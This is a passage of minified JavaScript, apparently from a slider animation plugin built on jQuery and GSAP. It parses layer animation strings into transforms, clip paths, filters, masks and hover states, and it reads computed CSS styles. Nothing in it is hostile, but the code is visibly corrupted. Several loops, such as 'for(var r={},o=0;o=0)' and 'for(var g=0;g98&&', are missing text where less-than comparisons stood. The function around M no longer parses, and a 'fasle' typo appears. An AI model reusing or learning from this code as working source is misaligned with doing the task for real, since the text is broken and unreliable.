0%)";break;case"b":a.clipPath=p?"polygon(0% 100%, 100% 100%, 100% "+(100-g)+"%, 0% "+(100-g)+"%)":"circle("+g+"% at 50% 100%)";break;case"lt":a.clipPath=p?"polygon(0% 0%,"+2*g+"% 0%, 0% "+2*g+"%)":"circle("+g+"% at 0% 0%)";break;case"lb":a.clipPath=p?"polygon(0% "+(100-2*g)+"%, 0% 100%,"+2*g+"% 100%)":"circle("+g+"% at 0% 100%)";break;case"rt":a.clipPath=p?"polygon("+(100-2*g)+"% 0%, 100% 0%, 100% "+2*g+"%)":"circle("+g+"% at 100% 0%)";break;case"rb":a.clipPath=p?"polygon("+(100-2*g)+"% 100%, 100% 100%, 100% "+(100-2*g)+"%)":"circle("+g+"% at 100% 100%)";break;case"clr":a.clipPath=p?"polygon(0% 0%, 0% "+g+"%, "+(100-g)+"% 100%, 100% 100%, 100% "+(100-g)+"%, "+g+"% 0%)":"circle("+g+"% at 50% 50%)";break;case"crl":a.clipPath=p?"polygon(0% "+(100-g)+"%, 0% 100%, "+g+"% 100%, 100% "+g+"%, 100% 0%, "+(100-g)+"% 0%)":"circle("+g+"% at 50% 50%)"}!0!==o.isFirefox(e.id)&&(a["-webkit-clip-path"]=a.clipPath),a["clip-path"]=a.clipPath,delete a.clip,delete a.clipB}else delete a.clip;return"mask"!==e.target&&(void 0===e.frame||void 0===e.frame.filter&&!e.forcefilter||(a.filter=u(e.frame.filter),a["-webkit-filter"]=a.filter,o.useBackdrop&&(window.isSafari11?a["-webkit-backdrop-filter"]=h(e.frame.filter):a["backdrop-filter"]=h(e.frame.filter)),window.isSafari11&&void 0!==a.filter&&void 0===a[null==i.iOSFix||"d"==i.iOSFix?"shape"==i.type?"z":"x":i.iOSFix]&&void 0!==e.frame.filter&&void 0!==e.frame.filter.blur&&(a[null==i.iOSFix||"d"==i.iOSFix?"shape"==i.type?"z":"x":i.iOSFix]=1e-4)),jQuery.inArray(e.source,["chars","words","lines"])>=0&&(void 0!==e.frame[e.source].blur||e.forcefilter)&&(a.filter=u(e.frame[e.source]),a["-webkit-filter"]=a.filter),delete a.grayscale,delete a.blur,delete a.brightness),a.ease=void 0!==a.ease?a.ease:void 0===a.ease&&void 0!==e.ease||void 0!==a.ease&&void 0!==e.ease&&"inherit"===a.ease?e.ease:e.frame.timeline.ease,a.ease=void 0===a.ease||"default"===a.ease?"power3.inOut":a.ease,a},x=function(e,t,i,a,r){var s,n,l={},d={},c={};for(var p in a=void 0===a?"transform":a,"loop"===r?(c.autoRotate=!1,c.yoyo_filter=!1,c.yoyo_rotate=!1,c.yoyo_move=!1,c.yoyo_scale=!1,c.curved=!1,c.curviness=2,c.ease="none",c.speed=1e3,c.st=0,l.x=0,l.y=0,l.z=0,l.xr=0,l.yr=0,l.zr=0,l.scaleX=1,l.scaleY=1,l.originX="50%",l.originY="50%",l.originZ="0",l.rotationX="0deg",l.rotationY="0deg",l.rotationZ="0deg"):(c.speed=300,i?c.ease="default":l.ease="default"),"sfx"===r&&(l.fxc="#ffffff"),e=e.split(";"))if(e.hasOwnProperty(p)){var g=e[p].split(":");switch(g[0]){case"u":l.use="true"===g[1]||"t"===g[1]||fasle;break;case"c":s=g[1];break;case"fxc":l.fxc=g[1];break;case"bgc":n=g[1];break;case"auto":l.auto="t"===g[1]||void 0===g[1]||"true"===g[1];break;case"o":l.opacity=g[1];break;case"oX":l.originX=g[1];break;case"oY":l.originY=g[1];break;case"oZ":l.originZ=g[1];break;case"sX":l.scaleX=g[1];break;case"sY":l.scaleY=g[1];break;case"skX":l.skewX=g[1];break;case"skY":l.skewY=g[1];break;case"rX":l.rotationX=g[1],0!=g[1]&&"0deg"!==g[1]&&o.addSafariFix(t);break;case"rY":l.rotationY=g[1],0!=g[1]&&"0deg"!==g[1]&&o.addSafariFix(t);break;case"rZ":l.rotationZ=g[1];break;case"sc":l.color=g[1];break;case"se":l.effect=g[1];break;case"bos":l.borderStyle=g[1];break;case"boc":l.borderColor=g[1];break;case"td":l.textDecoration=g[1];break;case"zI":l.zIndex=g[1];break;case"tp":l.transformPerspective="isometric"===o[t].perspectiveType?0:"global"===o[t].perspectiveType?o[t].perspective:g[1];break;case"cp":l.clip=parseInt(g[1],0);break;case"cpb":l.clipB=parseInt(g[1],0);break;case"aR":c.autoRotate="t"==g[1];break;case"rA":c.radiusAngle=g[1];break;case"yyf":c.yoyo_filter="t"==g[1];break;case"yym":c.yoyo_move="t"==g[1];break;case"yyr":c.yoyo_rotate="t"==g[1];break;case"yys":c.yoyo_scale="t"==g[1];break;case"crd":c.curved="t"==g[1];break;case"x":l.x="reverse"===r?"t"===g[1]||!0===g[1]||"true"==g[1]:"loop"===r?parseInt(g[1],0):o.revToResp(g[1],o[t].rle);break;case"y":l.y="reverse"===r?"t"===g[1]||!0===g[1]||"true"==g[1]:"loop"===r?parseInt(g[1],0):o.revToResp(g[1],o[t].rle);break;case"z":l.z="loop"===r?parseInt(g[1],0):o.revToResp(g[1],o[t].rle),0!=g[1]&&o.addSafariFix(t);break;case"bow":l.borderWidth=o.revToResp(g[1],4,0).toString().replace(/,/g," ");break;case"bor":l.borderRadius=o.revToResp(g[1],4,0).toString().replace(/,/g," ");break;case"m":l.mask="t"===g[1]||"f"!==g[1]&&g[1];break;case"iC":l.instantClick="t"===g[1]||"f"!==g[1]&&g[1];break;case"xR":l.xr=parseInt(g[1],0),o.addSafariFix(t);break;case"yR":l.yr=parseInt(g[1],0),o.addSafariFix(t);break;case"zR":l.zr=parseInt(g[1],0);break;case"iosfx":"default"!==g[1]&&"d"!==g[1]&&"p"!==g[1]&&(d.iosfx=g[1]);break;case"blu":"loop"===r?l.blur=parseInt(g[1],0):d.blur=parseInt(g[1],0);break;case"gra":"loop"===r?l.grayscale=parseInt(g[1],0):d.grayscale=parseInt(g[1],0);break;case"bri":"loop"===r?l.brightness=parseInt(g[1],0):d.brightness=parseInt(g[1],0);break;case"bB":d.b_blur=parseInt(g[1],0);break;case"bG":d.b_grayscale=parseInt(g[1],0);break;case"bR":d.b_brightness=parseInt(g[1],0);break;case"bI":d.b_invert=parseInt(g[1],0);break;case"bS":d.b_sepia=parseInt(g[1],0);break;case"sp":c.speed=parseInt(g[1],0);break;case"d":l.delay=parseInt(g[1],0);break;case"crns":c.curviness=parseInt(g[1],0);break;case"st":c.start="w"===g[1]||"a"===g[1]?"+=0":g[1],c.waitoncall="w"===g[1]||"a"===g[1];break;case"sA":c.startAbsolute=g[1];break;case"sR":c.startRelative=g[1];break;case"e":i?c.ease=g[1]:l.ease=g[1];break;default:g[0].length>0&&(l[g[0]]="t"===g[1]||"f"!==g[1]&&g[1])}}var u={timeline:c};return jQuery.isEmptyObject(d)||("split"===r?l=jQuery.extend(!0,l,d):u.filter=d),"split"===r&&(l.dir=void 0===l.dir?"start":"backward"===l.dir?"end":"middletoedge"===l.dir?"center":"edgetomiddle"===l.dir?"edge":l.dir),jQuery.isEmptyObject(s)||(u.color=s),jQuery.isEmptyObject(n)||(u.bgcolor=n),u[a]=l,u},k=function(e,t){var i={},a=0;if(void 0===o[t]._rdF0){var r=x("x:0;y:0;z:0;rX:0;rY:0;rZ:0;o:0;skX:0;skY:0;sX:0;sY:0;oX:50%;oY:50%;oZ:0;dir:forward;d:5",t).transform;o[t]._rdF0=o[t]._rdF1={transform:x("x:0;y:0;z:0;rX:0;rY:0;rZ:0;o:0;skX:0;skY:0;sX:0;sY:0;oX:50%;oY:50%;oZ:0;tp:600px",t,!0).transform,mask:x("x:0;y:0",t,!0).transform,chars:jQuery.extend(!0,{blur:0,grayscale:0,brightness:100},r),words:jQuery.extend(!0,{blur:0,grayscale:0,brightness:100},r),lines:jQuery.extend(!0,{blur:0,grayscale:0,brightness:100},r)},o[t]._rdF1.transform.opacity=o[t]._rdF1.chars.opacity=o[t]._rdF1.words.opacity=o[t]._rdF1.lines.opacity=o[t]._rdF1.transform.scaleX=o[t]._rdF1.chars.scaleX=o[t]._rdF1.words.scaleX=o[t]._rdF1.lines.scaleX=o[t]._rdF1.transform.scaleY=o[t]._rdF1.chars.scaleY=o[t]._rdF1.words.scaleY=o[t]._rdF1.lines.scaleY=1}for(var a in void 0===e.frame_0&&(e.frame_0="x:0"),void 0===e.frame_1&&(e.frame_1="x:0"),e.dddNeeded=!1,e.ford)if(e.ford.hasOwnProperty(a)){var s=e.ford[a];if(e[s]){if(i[s]=x(e[s],t,!0),void 0!==i[s].bgcolor&&(e.bgcolinuse=!0),o[t].BUG_ie_clipPath&&void 0!==e.clipPath&&e.clipPath.use&&void 0!==i[s].transform.clip){var n="rectangle"===e.clipPath.type?100-parseInt(i[s].transform.clip):100-Math.min(100,2*parseInt(i[s].transform.clip));switch(e.clipPath.origin){case"clr":case"rb":case"rt":case"r":e[s+"_mask"]="u:t;x:"+n+"%;y:0px;",i[s].transform.x=o.revToResp("-"+n+"%",o[t].rle);break;case"crl":case"lb":case"lt":case"cv":case"l":e[s+"_mask"]="u:t;x:-"+n+"%;y:0px;",i[s].transform.x=o.revToResp(n+"%",o[t].rle);break;case"ch":case"t":e[s+"_mask"]="u:t;y:-"+n+"%;y:0px;",i[s].transform.y=o.revToResp(n+"%",o[t].rle);break;case"b":e[s+"_mask"]="u:t;y:"+n+"%;y:0px;",i[s].transform.y=o.revToResp("-"+n+"%",o[t].rle)}delete i[s].transform.clip,delete i[s].transform.clipB}e[s+"_mask"]&&(i[s].mask=x(e[s+"_mask"],t).transform),null!=i[s].mask&&i[s].mask.use?(i[s].mask.x=void 0===i[s].mask.x?0:i[s].mask.x,i[s].mask.y=void 0===i[s].mask.y?0:i[s].mask.y,delete i[s].mask.use,i[s].mask.overflow="hidden"):i[s].mask={ease:"default",overflow:"visible"},e[s+"_chars"]&&(i[s].chars=x(e[s+"_chars"],t,void 0,void 0,"split").transform),e[s+"_words"]&&(i[s].words=x(e[s+"_words"],t,void 0,void 0,"split").transform),e[s+"_lines"]&&(i[s].lines=x(e[s+"_lines"],t,void 0,void 0,"split").transform),(e[s+"_chars"]||e[s+"_words"]||e[s+"_lines"])&&(i[s].dosplit=!0),i.frame_0=void 0===i.frame_0?{transform:{}}:i.frame_0,i[s].transform.auto&&(i[s].transform=o.clone(i.frame_0.transform),i[s].transform.opacity=void 0===i[s].transform.opacity?0:i[s].transform.opacity,void 0!==i.frame_0.filter&&(i[s].filter=o.clone(i.frame_0.filter)),void 0!==i.frame_0.mask&&(i[s].mask=o.clone(i.frame_0.mask)),void 0!==i.frame_0.chars&&(i[s].chars=o.clone(i.frame_0.chars)),void 0!==i.frame_0.words&&(i[s].words=o.clone(i.frame_0.words)),void 0!==i.frame_0.lines&&(i[s].lines=o.clone(i.frame_0.lines)),void 0===i.frame_0.chars&&void 0===i.frame_0.words&&void 0===i.frame_0.lines||(i[s].dosplit=!0)),e[s+"_sfx"]&&(i[s].sfx=x(e[s+"_sfx"],t,!1,void 0,"sfx").transform),e[s+"_reverse"]&&(i[s].reverse=x(e[s+"_reverse"],t,!1,void 0,"reverse").transform)}}if(i.frame_0.dosplit&&(i.frame_1.dosplit=!0),void 0===e.frame_hover&&void 0===e.svgh||(i.frame_hover=x(void 0===e.frame_hover?"":e.frame_hover,t),!o.ISM||"true"!=i.frame_hover.transform.instantClick&&1!=i.frame_hover.transform.instantClick?(delete i.frame_hover.transform.instantClick,i.frame_hover.transform.color=i.frame_hover.color,void 0===i.frame_hover.transform.color&&delete i.frame_hover.transform.color,void 0!==i.frame_hover.bgcolor&&i.frame_hover.bgcolor.indexOf("gradient")>=0?i.frame_hover.transform.backgroundImage=i.frame_hover.bgcolor:void 0!==i.frame_hover.bgcolor&&(i.frame_hover.transform.backgroundColor=i.frame_hover.bgcolor),void 0!==i.frame_hover.bgcolor&&(e.bgcolinuse=!0),i.frame_hover.transform.opacity=void 0===i.frame_hover.transform.opacity?1:i.frame_hover.transform.opacity,i.frame_hover.mask=void 0!==i.frame_hover.transform.mask&&i.frame_hover.transform.mask,delete i.frame_hover.transform.mask,void 0!==i.frame_hover.transform&&((i.frame_hover.transform.borderWidth||i.frame_hover.transform.borderStyle)&&(i.frame_hover.transform.borderColor=void 0===i.frame_hover.transform.borderColor?"transparent":i.frame_hover.transform.borderColor),"none"!==i.frame_hover.transform.borderStyle&&void 0===i.frame_hover.transform.borderWidth&&(i.frame_hover.transform.borderWidth=o.revToResp(0,4,0).toString().replace(/,/g," ")),void 0===e.bordercolor&&void 0!==i.frame_hover.transform.borderColor&&(e.bordercolor="transparent"),void 0===e.borderwidth&&void 0!==i.frame_hover.transform.borderWidth&&(e.borderwidth=o.revToResp(i.frame_hover.transform.borderWidth,4,0)),void 0===e.borderstyle&&void 0!==i.frame_hover.transform.borderStyle&&(e.borderstyle=o.revToResp(i.frame_hover.transform.borderStyle,4,0)))):delete i.frame_hover),void 0!==e.tloop){e.layerLoop={from:"frame_1",to:"frame_999",repeat:-1,keep:!0,children:!0};var l=e.tloop.split(";");for(var a in l)if(l.hasOwnProperty(a)){var d=l[a].split(":");switch(d[0]){case"f":e.layerLoop.from=d[1];break;case"t":e.layerLoop.to=d[1];break;case"k":e.layerLoop.keep=d[1];break;case"r":e.layerLoop.repeat=parseInt(d[1],0);break;case"c":e.layerLoop.children=d[1]}}e.layerLoop.count=0}for(var a in(e.loop_0||e.loop_999)&&(i.loop=x(e.loop_999,t,!0,"frame_999","loop"),i.loop.frame_0=x(e.loop_0||"",t,!1,void 0,"loop").transform),i.frame_0.transform.opacity=void 0===i.frame_0.transform.opacity?0:i.frame_0.transform.opacity,i.frame_1.transform.opacity=void 0===i.frame_1.transform.opacity?1:i.frame_1.transform.opacity,i.frame_999.transform.opacity=void 0===i.frame_999.transform.opacity?"inherit":i.frame_999.transform.opacity,e.clipPath&&e.clipPath.use&&(i.frame_0.transform.clip=void 0===i.frame_0.transform.clip?100:parseInt(i.frame_0.transform.clip),i.frame_1.transform.clip=void 0===i.frame_1.transform.clip?100:parseInt(i.frame_1.transform.clip)),e.resetfilter=!1,e.useFilter={blur:!1,grayscale:!1,brightness:!1,b_blur:!1,b_grayscale:!1,b_brightness:!1,b_invert:!1,b_sepia:!1},i)void 0!==i[a].filter?(e.resetfilter=!0,e.useFilter=O(e.useFilter,i[a].filter)):null==i[a].filter&&(i[a].filter={},e.useFilter.blur&&(i[a].filter.blur=0),e.useFilter.grayscale&&(i[a].filter.grayscale=0),e.useFilter.brightness&&(i[a].filter.brightness=100),e.useFilter.b_blur&&(i[a].filter.b_blur=0),e.useFilter.b_grayscale&&(i[a].filter.b_grayscale=0),e.useFilter.b_brightness&&(i[a].filter.b_brightness=100));if(!0!==e.resetFilter&&void 0!==i.frame_hover&&(e.useFilter=O(e.useFilter,i.frame_hover)),e.resetfilter)for(var a in i.frame_0.filter=o.clone(i.frame_0.filter),i.frame_0.filter=L(e.useFilter,o.clone(i.frame_0.filter)),i)void 0!==i[a].filter&&"frame_1"!==a&&"frame_0"!==a&&(i[a].filter=o.clone(i[a].filter),i[a].filter=L(e.useFilter,o.clone(i[a].filter)));return void 0!==i.frame_0.filter&&(i.frame_1.filter=o.clone(i.frame_1.filter),void 0!==i.frame_0.filter.blur&&0!==i.frame_1.filter.blur&&(i.frame_1.filter.blur=void 0===i.frame_1.filter.blur?0:i.frame_1.filter.blur),void 0!==i.frame_0.filter.brightness&&100!==i.frame_1.filter.brightness&&(i.frame_1.filter.brightness=void 0===i.frame_1.filter.brightness?100:i.frame_1.filter.brightness),void 0!==i.frame_0.filter.grayscale&&0!==i.frame_1.filter.grayscale&&(i.frame_1.filter.grayscale=void 0===i.frame_1.filter.grayscale?0:i.frame_1.filter.grayscale),void 0!==i.frame_0.filter.b_blur&&0!==i.frame_1.filter.b_blur&&(i.frame_1.filter.b_blur=void 0===i.frame_1.filter.b_blur?0:i.frame_1.filter.b_blur),void 0!==i.frame_0.filter.b_brightness&&100!==i.frame_1.filter.b_brightness&&(i.frame_1.filter.b_brightness=void 0===i.frame_1.filter.b_brightness?100:i.frame_1.filter.b_brightness),void 0!==i.frame_0.filter.b_grayscale&&0!==i.frame_1.filter.b_grayscale&&(i.frame_1.filter.b_grayscale=void 0===i.frame_1.filter.b_grayscale?0:i.frame_1.filter.b_grayscale),void 0!==i.frame_0.filter.b_invert&&0!==i.frame_1.filter.b_invert&&(i.frame_1.filter.b_invert=void 0===i.frame_1.filter.b_invert?0:i.frame_1.filter.b_invert),void 0!==i.frame_0.filter.b_sepia&&0!==i.frame_1.filter.b_sepia&&(i.frame_1.filter.b_sepia=void 0===i.frame_1.filter.b_sepia?0:i.frame_1.filter.b_sepia)),I(i,t,e)},L=function(e,t){return e.blur?t.blur=void 0===t.blur?0:t.blur:delete t.blur,e.brightness?t.brightness=void 0===t.brightness?100:t.brightness:delete t.brightness,e.grayscale?t.grayscale=void 0===t.grayscale?0:t.grayscale:delete t.grayscale,e.b_blur?t.b_blur=void 0===t.b_blur?0:t.b_blur:delete t.b_blur,e.b_brightness?t.b_brightness=void 0===t.b_brightness?100:t.b_brightness:delete t.b_brightness,e.b_grayscale?t.b_grayscale=void 0===t.b_grayscale?0:t.b_grayscale:delete t.b_grayscale,e.b_invert?t.b_invert=void 0===t.b_invert?0:t.b_invert:delete t.b_invert,e.b_sepia?t.b_sepia=void 0===t.b_sepia?0:t.b_sepia:delete t.b_sepia,t},O=function(e,t){return e.blur=!0===e.blur||void 0!==t.blur&&0!==t.blur&&"0px"!==t.blur,e.grayscale=!0===e.grayscale||void 0!==t.grayscale&&0!==t.grayscale&&"0%"!==t.grayscale,e.brightness=!0===e.brightness||void 0!==t.brightness&&100!==t.brightness&&"100%"!==t.brightness,e.b_blur=!0===e.b_blur||void 0!==t.b_blur&&0!==t.b_blur&&"0px"!==t.b_blur,e.b_grayscale=!0===e.b_grayscale||void 0!==t.b_grayscale&&0!==t.b_grayscale&&"0%"!==t.b_grayscale,e.b_brightness=!0===e.b_brightness||void 0!==t.b_brightness&&100!==t.b_brightness&&"100%"!==t.b_brightness,e.b_invert=!0===e.b_invert||void 0!==t.b_invert&&0!==t.b_invert&&"0%"!==t.b_invert,e.b_sepia=!0===e.b_sepia||void 0!==t.b_sepia&&0!==t.b_sepia&&"0%"!==t.b_sepia,e},R=function(e){return void 0!==e&&(void 0!==e.rotationY||void 0!==e.rotationX||void 0!==e.z)},I=function(e,t,i){var a,r={},s=["transform","words","chars","lines","mask"],n="global"==o[t].perspectiveType?o[t].perspective:0,l=!0,d=!1;for(var c in e)"loop"!==c&&"frame_hover"!==c&&(r=jQuery.extend(!0,r,e[c]));for(var c in e)if(e.hasOwnProperty(c)&&(void 0!==e[c].timeline&&(e[c].timeline.usePerspective=!1),"loop"!==c&&"frame_hover"!==c)){for(a in r.transform)r.transform.hasOwnProperty(a)&&(r.transform[a]=void 0===e[c].transform[a]?"frame_0"===c?o[t]._rdF0.transform[a]:"frame_1"===c?o[t]._rdF1.transform[a]:r.transform[a]:e[c].transform[a],e[c].transform[a]=void 0===e[c].transform[a]?r.transform[a]:e[c].transform[a]);for(var p=1;p<=4;p++)for(a in r[s[p]])r[s[p]].hasOwnProperty(a)&&(e[c][s[p]]=void 0===e[c][s[p]]?{}:e[c][s[p]],r[s[p]][a]=void 0===e[c][s[p]][a]?"frame_0"===c?o[t]._rdF0[s[p]][a]:"frame_1"===c?o[t]._rdF1[s[p]][a]:r[s[p]][a]:e[c][s[p]][a],e[c][s[p]][a]=void 0===e[c][s[p]][a]?r[s[p]][a]:e[c][s[p]][a]);void 0!==e[c].timeline&&!1===e[c].timeline.usePerspective&&void 0!==e[c].transform&&(void 0!==e[c].transform.rotationY||void 0!==e[c].transform.rotationX||void 0!==e[c].transform.z||R(e[c].chars)||R(e[c].words)||R(e[c].lines))&&(n="local"==o[t].perspectiveType?void 0===e[c].transform.transformPerspective?600:e[c].transform.transformPerspective:n,e[c].timeline.usePerspective=!0,(R(e[c].chars)||R(e[c].words)||R(e[c].lines))&&!o.isFirefox(t)&&(d=!0),l=!1)}if(d&&requestAnimationFrame(function(){tpGS.gsap.set(i.c,{transformStyle:"preserve-3d"})}),void 0!==e.frame_0.timeline&&e.frame_0.timeline.usePerspective&&(e.frame_0.transform.transformPerspective="local"===o[t].perspectiveType?void 0===e.frame_0.transform.transformPerspective?n:e.frame_0.transform.transformPerspective:"isometric"===o[t].perspectiveType?0:o[t].perspective),l)for(var c in e){if(!e.hasOwnProperty(c)||void 0===e[c].transform)continue;delete e[c].transform.transformPerspective}return e},M=function(e,t,i){if(0===e.length)return{};for(var a=e[0].getElementsByClassName(t),r={},o=0;o=0)return!1;o.sA(e[0],"stylerecorder",!0),void 0===e[0].id&&(e[0].id="rs-layer-sub-"+Math.round(1e6*Math.random())),o[s].computedStyle[e[0].id]=window.getComputedStyle(e[0],null);var n=void 0!==e[0].id&&void 0!==o[s]._L[e[0].id]?o[s]._L[e[0].id]:e.data(),l="rekursive"===t?jQuery(o.closestClass(e[0],"rs-layer")):void 0;void 0!==l&&(o[s].computedStyle[l[0].id]=void 0===o[s].computedStyle[l[0].id]?window.getComputedStyle(l[0],null):o[s].computedStyle[l[0].id]);var d=void 0!==l&&o[s].computedStyle[e[0].id].fontSize==o[s].computedStyle[l[0].id].fontSize&&T(o[s].computedStyle[e[0].id].fontWeight)==T(o[s].computedStyle[l[0].id].fontWeight)&&o[s].computedStyle[e[0].id].lineHeight==o[s].computedStyle[l[0].id].lineHeight,c=d?void 0!==l[0].id&&void 0!==o[s]._L[l[0].id]?o[s]._L[l[0].id]:l.data():void 0,p=0;for(n.basealign=void 0===n.basealign?"grid":n.basealign,n._isnotext||(n.fontSize=o.revToResp(d?void 0===c.fontsize?parseInt(o[s].computedStyle[l[0].id].fontSize,0)||20:c.fontsize:void 0===n.fontsize?"rekursive"!==t?20:"inherit":n.fontsize,o[s].rle),n.fontWeight=o.revToResp(d?void 0===c.fontweight?o[s].computedStyle[l[0].id].fontWeight||"inherit":c.fontweight:void 0===n.fontweight?o[s].computedStyle[e[0].id].fontWeight||"inherit":n.fontweight,o[s].rle),n.whiteSpace=o.revToResp(d?void 0===c.whitespace?"nowrap":c.whitespace:void 0===n.whitespace?"nowrap":n.whitespace,o[s].rle),n.textAlign=o.revToResp(d?void 0===c.textalign?"left":c.textalign:void 0===n.textalign?"left":n.textalign,o[s].rle),n.letterSpacing=o.revToResp(d?void 0===c.letterspacing?parseInt(o[s].computedStyle[l[0].id].letterSpacing,0)||"inherit":c.letterspacing:void 0===n.letterspacing?parseInt("normal"===o[s].computedStyle[e[0].id].letterSpacing?0:o[s].computedStyle[e[0].id].letterSpacing,0)||"inherit":n.letterspacing,o[s].rle),n.textDecoration=d?void 0===c.textDecoration?"none":c.textDecoration:void 0===n.textDecoration?"none":n.textDecoration,p=25,p=void 0===l||"I"!==e[0].tagName&&"STRONG"!==e[0].tagName?p:"inherit",void 0!==n.tshadow&&(n.tshadow.b=o.revToResp(n.tshadow.b,o[s].rle),n.tshadow.h=o.revToResp(n.tshadow.h,o[s].rle),n.tshadow.v=o.revToResp(n.tshadow.v,o[s].rle))),"group"===n.type&&(n.whiteSpace="normal",n.textAlign=o.revToResp(d?void 0===c.textalign?"left":c.textalign:void 0===n.textalign?"left":n.textalign,o[s].rle)),void 0!==n.bshadow&&(n.bshadow.b=o.revToResp(n.bshadow.b,o[s].rle),n.bshadow.h=o.revToResp(n.bshadow.h,o[s].rle),n.bshadow.v=o.revToResp(n.bshadow.v,o[s].rle),n.bshadow.s=o.revToResp(n.bshadow.s,o[s].rle)),void 0!==n.tstroke&&(n.tstroke.w=o.revToResp(n.tstroke.w,o[s].rle)),n.display=d?void 0===c.display?o[s].computedStyle[l[0].id].display:c.display:void 0===n.display?o[s].computedStyle[e[0].id].display:n.display,n.float=o.revToResp(d?void 0===c.float?o[s].computedStyle[l[0].id].float||"none":c.float:void 0===n.float?"none":n.float,o[s].rle),n.clear=o.revToResp(d?void 0===c.clear?o[s].computedStyle[l[0].id].clear||"none":c.clear:void 0===n.clear?"none":n.clear,o[s].rle),n.lineHeight=o.revToResp(e.is("img")||-1!=jQuery.inArray(n.layertype,["video","image","audio"])?p:d?void 0===c.lineheight?parseInt(o[s].computedStyle[l[0].id].lineHeight,0)||p:c.lineheight:void 0===n.lineheight?p:n.lineheight,o[s].rle),n.zIndex=d?void 0===c.zindex?parseInt(o[s].computedStyle[l[0].id].zIndex,0)||"inherit":c.zindex:void 0===n.zindex?parseInt(o[s].computedStyle[e[0].id].zIndex,0)||"inherit":parseInt(n.zindex),g=0;g<4;g++)n["padding"+i[g]]=o.revToResp(void 0===n["padding"+r[g]]?parseInt(o[s].computedStyle[e[0].id]["padding"+i[g]],0)||0:n["padding"+r[g]],o[s].rle),n["margin"+i[g]]=o.revToResp(void 0===n["margin"+r[g]]?parseInt(o[s].computedStyle[e[0].id]["margin"+i[g]],0)||0:n["margin"+r[g]],o[s].rle),n["border"+i[g]+"Width"]=void 0===n.borderwidth?parseInt(o[s].computedStyle[e[0].id]["border"+i[g]+"Width"],0)||0:n.borderwidth[g],n["border"+i[g]+"Color"]=void 0===n.bordercolor?o[s].computedStyle[e[0].id]["border-"+r[g]+"-color"]:n.bordercolor,n["border"+a[g]+"Radius"]=o.revToResp(void 0===n.borderradius?o[s].computedStyle[e[0].id]["border"+a[g]+"Radius"]||0:n.borderradius[g],o[s].rle);if(n.borderStyle=o.revToResp(void 0===n.borderstyle?o[s].computedStyle[e[0].id].borderStyle||0:n.borderstyle,o[s].rle),"rekursive"!==t?(n.color=o.revToResp(void 0===n.color?"#ffffff":n.color,o[s].rle,void 0,"||"),n.minWidth=o.revToResp(void 0===n.minwidth?parseInt(o[s].computedStyle[e[0].id].minWidth,0)||0:n.minwidth,o[s].rle),n.minHeight=o.revToResp(void 0===n.minheight?parseInt(o[s].computedStyle[e[0].id].minHeight,0)||0:n.minheight,o[s].rle),n.width=o.revToResp(void 0===n.width?"auto":o.smartConvertDivs(n.width),o[s].rle),n.height=o.revToResp(void 0===n.height?"auto":o.smartConvertDivs(n.height),o[s].rle),n.maxWidth=o.revToResp(void 0===n.maxwidth?parseInt(o[s].computedStyle[e[0].id].maxWidth,0)||"none":n.maxwidth,o[s].rle),n.maxHeight=o.revToResp(-1!==jQuery.inArray(n.type,["column","row"])?"none":void 0!==n.maxheight?parseInt(o[s].computedStyle[e[0].id].maxHeight,0)||"none":n.maxheight,o[s].rle)):"html"===n.layertype&&(n.width=o.revToResp(e[0].width,o[s].rle),n.height=o.revToResp(e[0].height,o[s].rle)),n._incolumn)for(var g=0;g98&&(n.height[g]=n.height[g].replace("%","px"));for(n.styleProps={background:e[0].style.background,"background-color":e[0].style["background-color"],color:e[0].style.color,cursor:e[0].style.cursor,"font-style":e[0].style["font-style"]},null==n.bshadow&&(n.styleProps.boxShadow=e[0].style.boxShadow),""!==n.styleProps.background&&void 0!==n.styleProps.background&&n.styleProps.background!==n.styleProps["background-color"]||delete n.styleProps.background,""==n.styleProps.color&&(n.styleProps.color=o[s].computedStyle[e[0].id].color),g=0;g<4;g++)A(n["padding"+i[g]],0)&&delete n["padding"+i[g]],A(n["margin"+i[g]],0)&&delete n["margin"+i[g]],A(n["border"+a[g]+"Radius"],"0px")?delete n["border"+a[g]+"Radius"]:A(n["border"+a[g]+"Radius"],"0")&&delete n["border"+a[g]+"Radius"];if(A(n.borderStyle,"none"))for(delete n.borderStyle,g=0;g<4;g++)delete n["border"+i[g]+"Width"],delete n["border"+i[g]+"Color"]},A=function(e,t){return t===e[0]&&t===e[1]&&t===e[2]&&t===e[3]},D=function(e,t,i,a,r){var s=o.isNumeric(e)||void 0===e?"":e.indexOf("px")>=0?"px":e.indexOf("%")>=0?"%":"";return e=o.isNumeric(parseInt(e))?parseInt(e):e,e=null==(e="full"===(e=o.isNumeric(e)?e*t+s:e)?a:"auto"===e||"none"===e?i:e)?r:e},P=function(e){return null!=e&&0!==parseInt(e,0)},B=function(e){var t,s,n,l,d,c,p,g,u,h,m=e.a,v=e.b,f=e.c,y=e.d,w=e.e,b={},_={},S=o[v]._L[m[0].id],x=m[0].className;if(S=void 0===S?{}:S,"object"==typeof x&&(x=""),void 0!==m&&void 0!==m[0]&&(x.indexOf("rs_splitted")>=0||"BR"==m[0].nodeName||"br"==m[0].tagName||m[0].tagName.indexOf("FCR")>0||m[0].tagName.indexOf("BCR")>0))return!1;w="individual"===w?S.slideIndex:w;var k,L=function(e,t,r){if(void 0!==e){if("BR"==e[0].nodeName||"br"==e[0].tagName)return!1;var s,n=o[t].level,l=void 0!==e[0]&&void 0!==e[0].id&&void 0!==o[t]._L[e[0].id]?o[t]._L[e[0].id]:e.data();void 0===(l=void 0===l.basealign?r.data():l)._isnotext&&(l._isnotext=void 0!==r&&void 0!==r[0]&&r[0].length>0?o.gA(r[0],"_isnotext"):l._isnotext);var d={basealign:void 0===l.basealign?"grid":l.basealign,lineHeight:void 0===l.basealign?"inherit":parseInt(l.lineHeight[n]),color:void 0===l.color?void 0:l.color[n],width:void 0===l.width?void 0:"a"===l.width[n]?"auto":l.width[n],height:void 0===l.height?void 0:"a"===l.height[n]?"auto":l.height[n],minWidth:void 0===l.minWidth?void 0:"n"===l.minWidth[n]?"none":l.minWidth[n],minHeight:void 0===l.minHeight?void 0:"n"==l.minHeight[n]?"none":l.minHeight[n],maxWidth:void 0===l.maxWidth?void 0:"n"==l.maxWidth[n]?"none":l.maxWidth[n],maxHeight:void 0===l.maxHeight?void 